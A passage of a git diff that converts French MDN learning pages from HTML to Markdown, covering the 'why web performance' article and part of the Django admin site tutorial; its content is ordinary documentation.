href="/fr/docs/Learn/Performance/HTML">Fonctionnalités de HTML liées aux performances</a></li> - <li><a href="/fr/docs/Learn/Performance/CSS">Fonctionnalités de CSS liées aux performances</a></li> - <li><a href="/fr/docs/Learn/Performance/Fonts">Performances et polices d'écriture</a></li> - <li><a href="/fr/docs/Learn/Performance/Mobile">Performances sur mobile</a></li> - <li><a href="/fr/docs/Learn/Performance/business_case_for_performance">Placer le focus sur les performances</a></li> -</ul> +{{PreviousMenuNext("Learn/Performance/measuring_performance", "Learn/Performance/video", "Learn/Performance")}} + +## Dans ce module + +- [Le « pourquoi » des performances web](/fr/docs/Learn/Performance/why_web_performance) +- [Qu'est-ce que sont les performances web ?](/fr/docs/Learn/Performance/What_is_web_performance) +- [Comment les visiteurs perçoivent-ils les performances ?](/fr/docs/Learn/Performance/Perceived_performance) +- [Mesurer les performances](/fr/docs/Learn/Performance/Measuring_performance) +- [Multimédia : images](/fr/docs/Learn/Performance/Multimedia) +- [Multimédia : vidéos](/fr/docs/Learn/Performance/video) +- [Bonnes pratiques de performances pour JavaScript](/fr/docs/Learn/Performance/JavaScript) +- [Fonctionnalités de HTML liées aux performances](/fr/docs/Learn/Performance/HTML) +- [Fonctionnalités de CSS liées aux performances](/fr/docs/Learn/Performance/CSS) +- [Performances et polices d'écriture](/fr/docs/Learn/Performance/Fonts) +- [Performances sur mobile](/fr/docs/Learn/Performance/Mobile) +- [Placer le focus sur les performances](/fr/docs/Learn/Performance/business_case_for_performance) diff --git a/files/fr/learn/performance/why_web_performance/index.md b/files/fr/learn/performance/why_web_performance/index.md index 30d21bd82a..937e183fa6 100644 --- a/files/fr/learn/performance/why_web_performance/index.md +++ b/files/fr/learn/performance/why_web_performance/index.md @@ -12,89 +12,89 @@ tags: translation_of: Learn/Performance/why_web_performance original_slug: Learn/Performance/pourquoi_performance_web --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Learn/Performance/What_is_web_performance", "Learn/Performance")}} -<div>{{NextMenu("Learn/Performance/What_is_web_performance", "Learn/Performance")}}</div> - -<p>La performance Web consiste à rendre les sites Web rapides, y compris à rendre les processus lents rapides. Cet article explique pourquoi les performances Web sont importantes pour les visiteurs du site et pour vos objectifs commerciaux.</p> +La performance Web consiste à rendre les sites Web rapides, y compris à rendre les processus lents rapides. Cet article explique pourquoi les performances Web sont importantes pour les visiteurs du site et pour vos objectifs commerciaux. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Connaissances de base en informatique, <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">installation des outils de base</a>, et connaissances de base des <a href="/fr/docs/Apprendre/Commencer_avec_le_web">technologies Web côté client</a>.</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Connaître les raisons pour lesquelles les performances Web sont importantes pour une bonne expérience utilisateur.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Connaissances de base en informatique, + <a + href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" + >installation des outils de base</a + >, et connaissances de base des + <a href="/fr/docs/Apprendre/Commencer_avec_le_web" + >technologies Web côté client</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Connaître les raisons pour lesquelles les performances Web sont + importantes pour une bonne expérience utilisateur. + </td> + </tr> + </tbody> </table> -<p>Les performances Web font référence à la rapidité avec laquelle le contenu du site se <strong>charge</strong> et <strong>s'affiche</strong> dans un navigateur web, et à la façon dont il répond à l'interaction de l'utilisateur. Les sites peu performants sont lents à afficher et à répondre aux entrées. Les sites mal performants augmentent l'abandon des sites. Au pire, une mauvaise performance rend le contenu totalement inaccessible. Un bon objectif pour les performances Web est que les utilisateurs ne remarquent pas les performances. Alors que la perception d'un individu sur les performances du site est subjective, le chargement et le rendu peuvent être mesurés. De bonnes performances peuvent ne pas être évidentes pour la plupart des visiteurs du site, mais la plupart reconnaîtront immédiatement un site lent. C'est pourquoi nous nous soucions de cela.</p> +Les performances Web font référence à la rapidité avec laquelle le contenu du site se **charge** et **s'affiche** dans un navigateur web, et à la façon dont il répond à l'interaction de l'utilisateur. Les sites peu performants sont lents à afficher et à répondre aux entrées. Les sites mal performants augmentent l'abandon des sites. Au pire, une mauvaise performance rend le contenu totalement inaccessible. Un bon objectif pour les performances Web est que les utilisateurs ne remarquent pas les performances. Alors que la perception d'un individu sur les performances du site est subjective, le chargement et le rendu peuvent être mesurés. De bonnes performances peuvent ne pas être évidentes pour la plupart des visiteurs du site, mais la plupart reconnaîtront immédiatement un site lent. C'est pourquoi nous nous soucions de cela. -<h2 id="Pourquoi_se_soucier_de_la_performance">Pourquoi se soucier de la performance?</h2> +## Pourquoi se soucier de la performance? -<p>Les performances Web et les meilleurs pratiques associées sont essentielles pour que les visiteurs de votre site Web aient une bonne expérience. En un sens, les performances Web peuvent être considérées comme un sous-ensemble de l'<a href="/fr/docs/Apprendre/a11y">accessibilité web</a>. Avec les performaces comme avec l'accessibilité, vous considérez que appareil un visiteur du site utilise pour accéder au site et la vitesse de connexion de l'appareil.</p> +Les performances Web et les meilleurs pratiques associées sont essentielles pour que les visiteurs de votre site Web aient une bonne expérience. En un sens, les performances Web peuvent être considérées comme un sous-ensemble de l'[accessibilité web](/fr/docs/Apprendre/a11y). Avec les performaces comme avec l'accessibilité, vous considérez que appareil un visiteur du site utilise pour accéder au site et la vitesse de connexion de l'appareil. -<p>À titre d'exemple, considérons l'expérience de chargement de CNN.com, qui, au moment de la rédaction de cet article, avait plus de 400 requêtes HTTP avec une taille de fichier supérieure à 22.6Mo.</p> +À titre d'exemple, considérons l'expérience de chargement de CNN.com, qui, au moment de la rédaction de cet article, avait plus de 400 requêtes HTTP avec une taille de fichier supérieure à 22.6Mo. -<ul> - <li>Imaginez charger ceci sur un ordinateur de bureau connecté à un réseau de fibre optique. Cela semblerait relativement rapide, et la taille du fichier serait en grande partie sans importance.</li> - <li>Imaginez charger ce même site en utilisant des données mobiles connectées sur un iPad de 9 ans tout en vous rendant chez vous en transport en commun. Le même site sera lent à se charger, voir presque inutilisable en fonction de la couverture cellulaire. Vous pourriez abandonner avant la fin du chargement.</li> - <li>Imaginez charger ce même site sur un appareil Huawei à 35$ dans une Inde rurale avec une couverture limitée ou pas de couverture. Le site sera très lent à se charger - s'il se charge du tout - avec des scripts de blocage pouvant expirer et un impact négatif sur le processeur provoquant des plantages du navigateur s'il se charge.</li> -</ul> +- Imaginez charger ceci sur un ordinateur de bureau connecté à un réseau de fibre optique. Cela semblerait relativement rapide, et la taille du fichier serait en grande partie sans importance. +- Imaginez charger ce même site en utilisant des données mobiles connectées sur un iPad de 9 ans tout en vous rendant chez vous en transport en commun. Le même site sera lent à se charger, voir presque inutilisable en fonction de la couverture cellulaire. Vous pourriez abandonner avant la fin du chargement. +- Imaginez charger ce même site sur un appareil Huawei à 35$ dans une Inde rurale avec une couverture limitée ou pas de couverture. Le site sera très lent à se charger - s'il se charge du tout - avec des scripts de blocage pouvant expirer et un impact négatif sur le processeur provoquant des plantages du navigateur s'il se charge. -<p>Un site de 22.6 Mo peut prendre jusqu'à 83 secondes pour se charger sur un réseau 3G, avec <code><a href="/fr/docs/Web/API/Document/DOMContentLoaded_event">DOMContentLoaded</a></code> (c'est-à-dire la structure HTML de base du site) à 31.86 secondes.</p> +Un site de 22.6 Mo peut prendre jusqu'à 83 secondes pour se charger sur un réseau 3G, avec [`DOMContentLoaded`](/fr/docs/Web/API/Document/DOMContentLoaded_event) (c'est-à-dire la structure HTML de base du site) à 31.86 secondes. -<p>Et ce n'est pas seulement le temps de téléchargement qui est un problème majeur. De nombreux pays ont encore des connexions internet facturées âr mégaoctet. Notre exemple de 22,6 Mo d'expérience CNN.com coûterait environ 11% du salaire quotidien moyen d'un Indien à télécharger. À partir d'un appareil mobile en Afrique du Nord-Ouest, cela peut coûter deux jours de salaire moyen. Et si ce site était chargé sur le plan d'itinérance internationale d'un opérateur américain? Les coûts feraient pleurer n'importe qui. (Voir <a href="https://whatdoesmysitecost.com/">combien coûte le téléchargement de votre site</a>.)</p> +Et ce n'est pas seulement le temps de téléchargement qui est un problème majeur. De nombreux pays ont encore des connexions internet facturées âr mégaoctet. Notre exemple de 22,6 Mo d'expérience CNN.com coûterait environ 11% du salaire quotidien moyen d'un Indien à télécharger. À partir d'un appareil mobile en Afrique du Nord-Ouest, cela peut coûter deux jours de salaire moyen. Et si ce site était chargé sur le plan d'itinérance internationale d'un opérateur américain? Les coûts feraient pleurer n'importe qui. (Voir [combien coûte le téléchargement de votre site](https://whatdoesmysitecost.com/).) -<h3 id="Améliorer_les_taux_de_conversion">Améliorer les taux de conversion</h3> +### Améliorer les taux de conversion -<p>La réduction du temps de téléchargement et de rendu d'un site améliore les taux de conversion et la fidélisation des utilisateurs.</p> +La réduction du temps de téléchargement et de rendu d'un site améliore les taux de conversion et la fidélisation des utilisateurs. -<p>Un <strong>taux de conversion</strong> est le taux auquel les visiteurs du site effectuent une action mesurée ou souhaitée. Par exemple, il peut s'agir d'effectuer un achat, de lire un article ou de vous abonner à une newsletter. L'action mesurée en tant que taux de conversion dépend des objectifs commerciaux du site web.</p> +Un **taux de conversion** est le taux auquel les visiteurs du site effectuent une action mesurée ou souhaitée. Par exemple, il peut s'agir d'effectuer un achat, de lire un article ou de vous abonner à une newsletter. L'action mesurée en tant que taux de conversion dépend des objectifs commerciaux du site web. -<p>La performance influe sur la conversion; l'amélioration des performances Web améliore la conversion. Les visiteurs du site s'attendent à ce qu'un site se charge en deux secondes ou moins; parfois encore moins sur mobile (où cela prend généralement plus de temps). Ces mêmes visiteurs du site commencent à abandonner les sites lents à 3 secondes.</p> +La performance influe sur la conversion; l'amélioration des performances Web améliore la conversion. Les visiteurs du site s'attendent à ce qu'un site se charge en deux secondes ou moins; parfois encore moins sur mobile (où cela prend généralement plus de temps). Ces mêmes visiteurs du site commencent à abandonner les sites lents à 3 secondes. -<p>La vitesse à laquelle un site se charge est un facteur. Si le site est lent à réagir à l'interaction de l'utilisateur, ou semble saccadé, cela entraîne une perte d'intérêt et de confiance des visiteurs du site.</p> +La vitesse à laquelle un site se charge est un facteur. Si le site est lent à réagir à l'interaction de l'utilisateur, ou semble saccadé, cela entraîne une perte d'intérêt et de confiance des visiteurs du site. -<p>Voici quelques exemples concrets d'améliorations des performances:</p> +Voici quelques exemples concrets d'améliorations des performances: -<ul> - <li> - <p><a href="https://wpostats.com/2018/05/30/tokopedia-new-users.html">Tokopedia a réduit le temps de rendu de 14s à 2s pour les connexions 3G et a vu une augmentation de 19% des visiteurs, 35% d'augmentation du nombre total de sessions, 7% d'augmentation des nouveaux utilisateurs, 17% d'augmentation des utilisateurs actifs et 16% d'augmentation des sessions par utilisateur.</a></p> - </li> - <li> - <p><a href="https://wpostats.com/2017/03/10/pinterest-seo.html">La reconstruction des pages Pinterest pour les performances a entraîné une réduction de 40% du temps d'attente, une augmentation de 15% du trafic SEO et d'une augmentation de 15% du taux de conversion pour l'inscription.</a></p> - </li> -</ul> +- [Tokopedia a réduit le temps de rendu de 14s à 2s pour les connexions 3G et a vu une augmentation de 19% des visiteurs, 35% d'augmentation du nombre total de sessions, 7% d'augmentation des nouveaux utilisateurs, 17% d'augmentation des utilisateurs actifs et 16% d'augmentation des sessions par utilisateur.](https://wpostats.com/2018/05/30/tokopedia-new-users.html) +- [La reconstruction des pages Pinterest pour les performances a entraîné une réduction de 40% du temps d'attente, une augmentation de 15% du trafic SEO et d'une augmentation de 15% du taux de conversion pour l'inscription.](https://wpostats.com/2017/03/10/pinterest-seo.html) -<p>Pour créer des sites Web et des applications que les gens veulent utiliser; pour attirer et fidéliser les visiteurs du site, vous devez créer un site accessible qui offre une bonne expérience utilisateur. La création de sites Web nécessite HTML, CSS et JavaScript, y compris généralement des types de fichiers binaires tels que des images et des vidéos. Les décisions que vous prenez et les outils que vous choisissez lors de la création de votre site peuvent grandement affecter les performances du travail fini.</p> +Pour créer des sites Web et des applications que les gens veulent utiliser; pour attirer et fidéliser les visiteurs du site, vous devez créer un site accessible qui offre une bonne expérience utilisateur. La création de sites Web nécessite HTML, CSS et JavaScript, y compris généralement des types de fichiers binaires tels que des images et des vidéos. Les décisions que vous prenez et les outils que vous choisissez lors de la création de votre site peuvent grandement affecter les performances du travail fini. -<p>Une bonne performance est un atout. Une mauvaise performance est une responsabilité. La vitesse du site affecte directement les taux de rebond, la conversion, les revenus, la satisfaction des utilisateurs et le classement des moteurs de recherche. Il a été démontré que les sites performants augmentent la rétention des visiteurs et la satisfaction des utilisateurs. Il a été démontré que la lenteur du contenu conduit à l'abandon du site, certains visiteurs partant pour ne jamais revenir. La réduction de la quantité de données qui passe entre le client et le serveur réduit les coûts pour toutes les parties. La réduction de la taille des fichiers HTML/CSS/JavaScript et multimédia réduit à la fois le temps de chargement et la consommation d'énergie d'un site (voir <a href="/fr/docs/Web/Performance/Budgets_de_performance">performance budgets</a>).</p> +Une bonne performance est un atout. Une mauvaise performance est une responsabilité. La vitesse du site affecte directement les taux de rebond, la conversion, les revenus, la satisfaction des utilisateurs et le classement des moteurs de recherche. Il a été démontré que les sites performants augmentent la rétention des visiteurs et la satisfaction des utilisateurs. Il a été démontré que la lenteur du contenu conduit à l'abandon du site, certains visiteurs partant pour ne jamais revenir. La réduction de la quantité de données qui passe entre le client et le serveur réduit les coûts pour toutes les parties. La réduction de la taille des fichiers HTML/CSS/JavaScript et multimédia réduit à la fois le temps de chargement et la consommation d'énergie d'un site (voir [performance budgets](/fr/docs/Web/Performance/Budgets_de_performance)). -<p>Le suivi des performances est important. Plusieurs facteurs, notamment la vitesse du réseau et les capacités de l'appareil, affectent les performances. Il n'y a pas de mesure de performance unique; et des objectifs commerciaux différents peuvent signifier que différentes mesures sont plus pertinentes pour les objectifs du site ou de l'organisation qu'il prend en charge. La perception de la performance de votre site est l'expérience utilisateur!</p> +Le suivi des performances est important. Plusieurs facteurs, notamment la vitesse du réseau et les capacités de l'appareil, affectent les performances. Il n'y a pas de mesure de performance unique; et des objectifs commerciaux différents peuvent signifier que différentes mesures sont plus pertinentes pour les objectifs du site ou de l'organisation qu'il prend en charge. La perception de la performance de votre site est l'expérience utilisateur! -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>Les performances Web sont importantes pour l'accessibilité et également pour d'autres mesures de site Web qui servent les objectifs d'une organisation ou d'une entreprise. Les bonnes ou mauvaises performances du site Web sont fortement corrélées à l'expérience utilisateur, ainsi qu'à l'efficacité globale de la plupart des sites. C'est pourquoi vous devez vous soucier des performances Web.</p> +Les performances Web sont importantes pour l'accessibilité et également pour d'autres mesures de site Web qui servent les objectifs d'une organisation ou d'une entreprise. Les bonnes ou mauvaises performances du site Web sont fortement corrélées à l'expérience utilisateur, ainsi qu'à l'efficacité globale de la plupart des sites. C'est pourquoi vous devez vous soucier des performances Web. -<p>{{NextMenu("Learn/Performance/What_is_web_performance", "Learn/Performance")}}</p> +{{NextMenu("Learn/Performance/What_is_web_performance", "Learn/Performance")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Performance/why_web_performance">The "why" of web performance</a></li> - <li><a href="/fr/docs/Learn/Performance/What_is_web_performance">What is web performance?</a></li> - <li><a href="/fr/docs/Learn/Performance/Perceived_performance">How do users perceive performance?</a></li> - <li><a href="/fr/docs/Learn/Performance/Measuring_performance">Measuring performance</a></li> - <li><a href="/fr/docs/Learn/Performance/Multimedia">Multimedia: images</a></li> - <li><a href="/fr/docs/Learn/Performance/video">Multimedia: video</a></li> - <li><a href="/fr/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a>.</li> - <li><a href="/fr/docs/Learn/Performance/HTML">HTML performance features</a></li> - <li><a href="/fr/docs/Learn/Performance/CSS">Optimisation des performances en CSS</a></li> - <li><a href="/fr/docs/Learn/Performance/Fonts">Fonts and performance</a></li> - <li><a href="/fr/docs/Learn/Performance/Mobile">Mobile performance</a></li> - <li><a href="/fr/docs/Learn/Performance/business_case_for_performance">Focusing on performance</a></li> -</ul> +- [The "why" of web performance](/fr/docs/Learn/Performance/why_web_performance) +- [What is web performance?](/fr/docs/Learn/Performance/What_is_web_performance) +- [How do users perceive performance?](/fr/docs/Learn/Performance/Perceived_performance) +- [Measuring performance](/fr/docs/Learn/Performance/Measuring_performance) +- [Multimedia: images](/fr/docs/Learn/Performance/Multimedia) +- [Multimedia: video](/fr/docs/Learn/Performance/video) +- [JavaScript performance best practices](/fr/docs/Learn/Performance/JavaScript). +- [HTML performance features](/fr/docs/Learn/Performance/HTML) +- [Optimisation des performances en CSS](/fr/docs/Learn/Performance/CSS) +- [Fonts and performance](/fr/docs/Learn/Performance/Fonts) +- [Mobile performance](/fr/docs/Learn/Performance/Mobile) +- [Focusing on performance](/fr/docs/Learn/Performance/business_case_for_performance) diff --git a/files/fr/learn/server-side/django/admin_site/index.md b/files/fr/learn/server-side/django/admin_site/index.md index af9b0309f9..94df39bf08 100644 --- a/files/fr/learn/server-side/django/admin_site/index.md +++ b/files/fr/learn/server-side/django/admin_site/index.md @@ -11,175 +11,179 @@ tags: - django_admin translation_of: Learn/Server-side/Django/Admin_site --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}} -<div>{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}</div> - -<p>Nous avons créé le modèle de données pour le site web de la <a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">bibliothèque locale</a>. Dans ce chapitre nous allons utiliser le site d'administration pour introduire des données réelles pour les livres. Dans un premier temps, nous aborderons la manière d'enregistrer les données des objets sur le site d'administration et comment se connecter au site et créer des données. La fin de ce chapitre sera dédié à des éléments d'amélioration possible du site d'administration.</p> +Nous avons créé le modèle de données pour le site web de la [bibliothèque locale](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website). Dans ce chapitre nous allons utiliser le site d'administration pour introduire des données réelles pour les livres. Dans un premier temps, nous aborderons la manière d'enregistrer les données des objets sur le site d'administration et comment se connecter au site et créer des données. La fin de ce chapitre sera dédié à des éléments d'amélioration possible du site d'administration. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Pré-requis:</th> - <td>Avoir complété <a href="/fr/docs/Learn/Server-side/Django/Models">Django didactique Section 3: Utilisation des modèles de données</a></td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Comprendre les avantages et les limites du site d'administration de Django. Utiliser ce site pour enregistrer des données pour les objets créés dans le chapitre précédent.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Pré-requis:</th> + <td> + Avoir complété + <a href="/fr/docs/Learn/Server-side/Django/Models" + >Django didactique Section 3: Utilisation des modèles de données</a + > + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Comprendre les avantages et les limites du site d'administration de + Django. Utiliser ce site pour enregistrer des données pour les objets + créés dans le chapitre précédent. + </td> + </tr> + </tbody> </table> -<h2 id="Survol">Survol</h2> +## Survol -<p>Le site d'administration et l'application admin associée de Django peut utiliser les objets déclarés du modèle de données pour réaliser automatiquement un espace de publications, de création, de mise à jour ou de suppression d'enregistrements. Cet outil permet d'économiser du temps pendant les développements et de tester rapidement le modèle de données et par voie de conséquence de vérifier la disponibilité des données et la cohérence du modèle créé. En fonction de votre type d'application web, le site d'administration peut aussi servir à gérer les données du site en production. Comme une approche centrée sur le modèle de données n'est pas appropriée à une présentation utilisateur, les concepteurs de Django recommandent de ne se servir de ce site que pour une administration interne des données (c'est-à-dire, juste pour les administrateurs techniques ou fonctionnels de l'application).</p> +Le site d'administration et l'application admin associée de Django peut utiliser les objets déclarés du modèle de données pour réaliser automatiquement un espace de publications, de création, de mise à jour ou de suppression d'enregistrements. Cet outil permet d'économiser du temps pendant les développements et de tester rapidement le modèle de données et par voie de conséquence de vérifier la disponibilité des données et la cohérence du modèle créé. En fonction de votre type d'application web, le site d'administration peut aussi servir à gérer les données du site en production. Comme une approche centrée sur le modèle de données n'est pas appropriée à une présentation utilisateur, les concepteurs de Django recommandent de ne se servir de ce site que pour une administration interne des données (c'est-à-dire, juste pour les administrateurs techniques ou fonctionnels de l'application). -<p>Quand nous avons créé <a href="/fr/docs//Learn/Server-side/Django/skeleton_website">le squelette du projet</a>, nous avons généré automatiquement toute ce qui était nécessaire à son administration au sein de l'application web (<a href="https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/">le détail des relations en jeux</a> sont décrites sur le site documentaire Django). Au final, vous n'aurez juste qu'à ajouter vos modèles dans l'administration du site en les enregistrant. A la fin de ce chapitre, vous aurez des pistes sur l'une des manière d'améliorer l'affichage des données dans la zone d'administration.</p> +Quand nous avons créé [le squelette du projet](/fr/docs//Learn/Server-side/Django/skeleton_website), nous avons généré automatiquement toute ce qui était nécessaire à son administration au sein de l'application web ([le détail des relations en jeux](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/) sont décrites sur le site documentaire Django). Au final, vous n'aurez juste qu'à ajouter vos modèles dans l'administration du site en les enregistrant. A la fin de ce chapitre, vous aurez des pistes sur l'une des manière d'améliorer l'affichage des données dans la zone d'administration. -<p>Passons aux actes ! Après l'enregistrement des objets du modèle relationnel, nous verrons comment créer un super-utilisateur, s'authentifier et ensuite créer quelques livres, auteurs et ouvrages à la disposition des lecteurs. Ces données seront très utiles pour tester ensuite les vues et gabarits qui seront abordés dans les chapitres suivants.</p> +Passons aux actes ! Après l'enregistrement des objets du modèle relationnel, nous verrons comment créer un super-utilisateur, s'authentifier et ensuite créer quelques livres, auteurs et ouvrages à la disposition des lecteurs. Ces données seront très utiles pour tester ensuite les vues et gabarits qui seront abordés dans les chapitres suivants. -<h2 id="Enregistrer_les_objets_de_la_modélisation">Enregistrer les objets de la modélisation</h2> +## Enregistrer les objets de la modélisation -<p>En premier lieu, il faut editer le fichier <strong>admin.py</strong> de l'application catalog (c'est-à-dire le fichier <strong>./locallibrary/catalog/admin.py</strong>). Il devrait ressembler à celui ci-dessous — notez qu'il contient d'ores et déjà l'import du module <code>django.contrib.admin</code>:</p> +En premier lieu, il faut editer le fichier **admin.py** de l'application catalog (c'est-à-dire le fichier **./locallibrary/catalog/admin.py**). Il devrait ressembler à celui ci-dessous — notez qu'il contient d'ores et déjà l'import du module `django.contrib.admin`: -<pre class="brush: python">from django.contrib import admin +```python +from django.contrib import admin # Register your models here. -</pre> +``` -<p>L'enregistrement de objets de modélisation se fait par l'appel de la fonction <code>admin.site.register</code> comme indiqué ci-dessous. Il vous suffit pour le moment de copier le texte ci-dessous et de l'ajouter à la fin du fichier.Register the models by copying the following text into the bottom of the file.</p> +L'enregistrement de objets de modélisation se fait par l'appel de la fonction `admin.site.register` comme indiqué ci-dessous. Il vous suffit pour le moment de copier le texte ci-dessous et de l'ajouter à la fin du fichier.Register the models by copying the following text into the bottom of the file. -<pre class="brush: python">from catalog.models import Author, Genre, Book, BookInstance +```python +from catalog.models import Author, Genre, Book, BookInstance admin.site.register(Book) admin.site.register(Author) admin.site.register(Genre) admin.site.register(BookInstance) -</pre> +``` + +> **Note :** Si vous avez répondu au défi de la modelisation des langues des livres ([voir le chapitre précédent sur les modèles de données](/fr/docs/Learn/Server-side/Django/Models)), vous pouvez aussi importer cet objet ! +> +> Cela devrait être de la forme : `admin.site.register(Language)` et n'oubliez pas d'importer l'objet. -<div class="note"> - <p><strong>Note :</strong> Si vous avez répondu au défi de la modelisation des langues des livres (<a href="/fr/docs/Learn/Server-side/Django/Models">voir le chapitre précédent sur les modèles de données</a>), vous pouvez aussi importer cet objet !</p> - <p>Cela devrait être de la forme : <code>admin.site.register(Language)</code> et n'oubliez pas d'importer l'objet.</p> -</div> +C'est la méthode la plus rapide et la plus simple pour enregistrer un ou plusieurs modèles. Le site d'administration est très adaptable et nous aborderons plus loin ces questions. -<p>C'est la méthode la plus rapide et la plus simple pour enregistrer un ou plusieurs modèles. Le site d'administration est très adaptable et nous aborderons plus loin ces questions.</p> +## Générer un super-utilisateur -<h2 id="Générer_un_super-utilisateur">Générer un super-utilisateur</h2> +Pour acceder au site d'administration, il est necessaire de s'authentifier avec un utilisateur qui dispose du statut _Statut d'équipe_ activé. Afin de visualiser et créer des enregsitrement, vous aurez aussi besoin de disposer de droits de manipulation des obejts. A ce stade, vous pouvez créer à l'aide du fichier **manage.py** un super-utilisateur qui dispose de tous les droits et permissions. -<p>Pour acceder au site d'administration, il est necessaire de s'authentifier avec un utilisateur qui dispose du statut <em>Statut d'équipe</em> activé. Afin de visualiser et créer des enregsitrement, vous aurez aussi besoin de disposer de droits de manipulation des obejts. A ce stade, vous pouvez créer à l'aide du fichier <strong>manage.py</strong> un super-utilisateur qui dispose de tous les droits et permissions.</p> +Exécutez la commande python ci-dessous qui appelle le fichier **manage.py** en étant dans le même dossier que le fichier (c'est-à-dire **./locallibrary/**), pour créer le super-utilsiateur. La commande va vous demander de répondre le nom d'utilsiateur, l'adresse mail et un mot de passe fort. -<p>Exécutez la commande python ci-dessous qui appelle le fichier <strong>manage.py</strong> en étant dans le même dossier que le fichier (c'est-à-dire <strong>./locallibrary/</strong>), pour créer le super-utilsiateur. La commande va vous demander de répondre le nom d'utilsiateur, l'adresse mail et un mot de passe fort.</p> +```bash +python3 manage.py createsuperuser +``` -<pre class="brush: bash">python3 manage.py createsuperuser -</pre> +Une fois cette étape réalisée, vous pouvez redémarrer le serveur de développement : -<p>Une fois cette étape réalisée, vous pouvez redémarrer le serveur de développement :</p> +```bash +python3 manage.py runserver +``` -<pre class="brush: bash">python3 manage.py runserver +## Accéder et utiliser le site admin -</pre> +Pour vous authentifier au site, ouvrez l'URL _/admin_ du site local (concrètement, [http://127.0.0.1:8000/admin](http://127.0.0.1:8000/admin/)) et identifiez vous avec votre compte de super-utilisateur. -<h2 id="Accéder_et_utiliser_le_site_admin">Accéder et utiliser le site admin</h2> +> **Note :** Vous serez redirigé⋅e vers l'application interne à Django de gestion de l'authentification et la pages de demande d'authentitification avant d'accéder réellement au site d'administration. +> +> Si vous accéder au site local sans /admin, vous aurez un message d'erreur car les routages d'URL n'ont pas encore été traité. ne vous en inquiétez pas cela va venir... -<p>Pour vous authentifier au site, ouvrez l'URL <em>/admin </em>du site local (concrètement, <a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin</a>) et identifiez vous avec votre compte de super-utilisateur.</p> +Cet partie du site affiche tous les modèles définis et déclarés dans le fichier de contrôle de l'administration du site. Les objets sont regroupés par application (pour notre cas, uniquement l'application Catalog à cette étape des travaux). Vous pouvez cliquez sur chacun des noms d'objet publiés pour accéder à l'écran qui gère les informations sur les objets de ce type contenu en base de données et vous pouvez les éditer et les modifier. Vous pouvez aussi cliquer sur le lien **+ Ajouter** pour créer un nouvel enregistrement. -<div class="note"> -<p><strong>Note :</strong> Vous serez redirigé⋅e vers l'application interne à Django de gestion de l'authentification et la pages de demande d'authentitification avant d'accéder réellement au site d'administration.</p> + -<p>Si vous accéder au site local sans /admin, vous aurez un message d'erreur car les routages d'URL n'ont pas encore été traité. ne vous en inquiétez pas cela va venir...</p> -</div> +Cliquez sur le lien **+ Ajouter** à la droite de l'objet Books pour créer un nouveau livre. Le site va afficher une page de saisie de données (analogue à celle ci-dessous). Notez que Django prend en compte le type de champs définit dans le modèle pour utiliser le widget associé ainsi que le champs `help_text` quand vous l'aviez défini. -<p>Cet partie du site affiche tous les modèles définis et déclarés dans le fichier de contrôle de l'administration du site. Les objets sont regroupés par application (pour notre cas, uniquement l'application Catalog à cette étape des travaux). Vous pouvez cliquez sur chacun des noms d'objet publiés pour accéder à l'écran qui gère les informations sur les objets de ce type contenu en base de données et vous pouvez les éditer et les modifier. Vous pouvez aussi cliquer sur le lien <strong>+ Ajouter</strong> pour créer un nouvel enregistrement.</p> +Entrez les valeurs des champs. Pour les champs qui relèvent de relations entre objet, vous pouvez utiliser le bouton + pour accéder en cascade au formulaire de saisie des informations nécessaires à la créarion de cette objet. Vous pouvez aussi sélectionner un objet si d'autres avaient été créés précédement. Ne pas oublier de cliquer sur **Enregistrer et ajouter un nouveau** ou **Enregistrer et continuer les modification** pour sauvegarder en base de données les informations saisies. -<p><img alt="Admin Site - Home page" src="admin_home.png"></p> + -<p>Cliquez sur le lien <strong>+ Ajouter</strong> à la droite de l'objet Books pour créer un nouveau livre. Le site va afficher une page de saisie de données (analogue à celle ci-dessous). Notez que Django prend en compte le type de champs définit dans le modèle pour utiliser le widget associé ainsi que le champs <code>help_text</code> quand vous l'aviez défini. </p> +> **Note :** À ce stade, prenez le temps d'enregistrer plusieurs livres, genres et auteurs. Assurez-vous que chacun est associé à plusieurs autres éléments cela rendra vos listes à venir plus riches et intéressantes quand nous aborderons ces sujets. -<p>Entrez les valeurs des champs. Pour les champs qui relèvent de relations entre objet, vous pouvez utiliser le bouton + pour accéder en cascade au formulaire de saisie des informations nécessaires à la créarion de cette objet. Vous pouvez aussi sélectionner un objet si d'autres avaient été créés précédement. Ne pas oublier de cliquer sur <strong>Enregistrer et ajouter un nouveau</strong> ou <strong>Enregistrer et continuer les modification</strong> pour sauvegarder en base de données les informations saisies.</p> +Après avoir saisie les informations et ajouté vos livres, cliquez sur le lien **Accueil** pour revenir à la page principale du site d'administration. Cliquez sur le lien **Books** pour afficher la liste des livres enregistrés (ou sur d'autres liens pour voir les autres objets présents en base). Après avoir ajouter quelques livres, votre page devrait ressembler à celle ci-dessous. La liste des livres est affichée par titre ; c'est, en fait, la valeur délivrée par la méthode `__str__()` du modèle d'objet Book comme cela a été codé dans le précédent chapitre. -<p><img alt="Admin Site - 